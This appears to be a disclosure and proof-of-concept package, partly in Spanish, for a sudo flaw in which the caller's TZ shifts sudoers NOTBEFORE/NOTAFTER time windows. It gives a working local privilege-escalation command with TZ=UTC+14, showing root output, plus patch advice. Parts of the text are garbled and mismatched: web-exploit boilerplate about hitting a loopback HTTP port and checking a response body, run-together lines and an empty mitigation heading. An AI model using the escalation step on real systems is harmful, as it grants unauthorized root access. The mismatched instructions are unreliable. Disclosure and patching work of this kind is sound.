
Paquete de divulgación y PoC para CVE-2026-96512, un bypass de la ventana de tiempo TZ NOTBEFORE/NOTAFTER de sudo que permite la escalada de privilegios local, con reproducción en laboratorio y guía de parches.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-96512
sudo 1.9.13p3 (Debian bookworm) — Sudo Project
Se encontró una vulnerabilidad en sudo. Cuando las reglas de sudoers utilizan restricciones de acceso basadas en tiempo NOTBEFORE o NOTAFTER con marcas de tiempo que omiten el indicador de zona horaria Z final, la evaluación del tiempo depende de la variable de entorno TZ heredada del usuario que realiza la llamada.
| CVE | CVE-2026-96512 · CVE.org |
| CWE | CWE-863 |
| CVSS | Alto: 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Producto | sudo |
| Afectados | todas las versiones hasta 1.9.13p3 (Debian bookworm) (inclusive) |
| Parcheado | commit principal 1820a34 (aún sin versión upstream) y posteriores |
| Auth | autenticado (ver mapa de origen) |
| Licencia | GNU Affero GPL v3.0 |
| Lab | solo 127.0.0.1 · paquete de divulgación para proveedor/cliente, no un escáner |
plugins/sudoers parse_gentime / gram.y timespec. El fix sudo-project/sudo@1820a34 copia environ desde envp y hace unsetenv TZ.
LOCALTZ=UTC+14 sudo -n /usr/bin/idsudoers: labuser ALL=(root) NOPASSWD: NOTAFTER=<now-1h no Z> /usr/bin/idlabuser sudo -n /usr/bin/id -> denegado (expirado)TZ=UTC+14 sudo -n /usr/bin/idparse_gentime mktime respeta POSIX TZ=UTC+14NOTAFTER epoch se desplaza +14h; comando permitido como rootSin TZ: sudo -n id denegado. Con TZ=UTC+14: uid=0(root).
Haz esto primero: Actualiza sudo a commit principal 1820a34 (aún sin versión upstream) o posterior.
Verificar tras la actualización
CVE-2026-96512-Abraxas-Labs.py contra la compilación parcheada: el testigo mapeado no debe aparecer.Si no puedes actualizar de inmediato
Apunta solo a http://127.0.0.1:8088 (o al loopback que hayas vinculado). No apuntes este script a internet.
python3 CVE-2026-96512-Abraxas-Labs.py
El éxito es el testigo anterior en el cuerpo de la respuesta. Un HTML 200 genérico no lo es.
Stack de loopback usado para reproducir. Imágenes oficiales a menos que un Dockerfile en esta carpeta compile desde el código fuente.
cd lab
docker compose up --force-recreate
Vincula el árbol del producto vulnerable junto a Compose si el YAML monta un directorio local (zip del plugin / etiqueta de código fuente de la tabla de versiones). No publiques nada excepto 127.0.0.1.
github.com/sudo-project/sudo/commit/1820a349687522f51023d1ae5925125f59679a8c
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-96512
CWE: CWE-863
CVSS: High 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Red Hat).
## Description
sudoers `NOTBEFORE`/`NOTAFTER` timestamps without a trailing `Z` are converted with `mktime()`, which follows the caller’s `TZ`. A local user who is already named in such a rule can shift the window by up to ~25 hours (POSIX `TZ=UTC+14`) and run the allowed command outside the intended period. PAM authentication is unchanged.
## Product
sudo 1.9.13p3 on Debian bookworm (upstream 1.8.20–1.9.17p2). Fix in main `1820a34`; no upstream tarball yet at disclosure. Lab oracle is `uid=0(root)` via TZ, not a shell.
Este paquete de divulgación está licenciado bajo la GNU Affero General Public License v3.0. Ver LICENSE.
Este paquete es para el proveedor, el propietario del sitio y labs con licencia. El script se comunica con 127.0.0.1. Usarlo contra sistemas que no posees no está autorizado por Abraxas Labs. Sin garantía.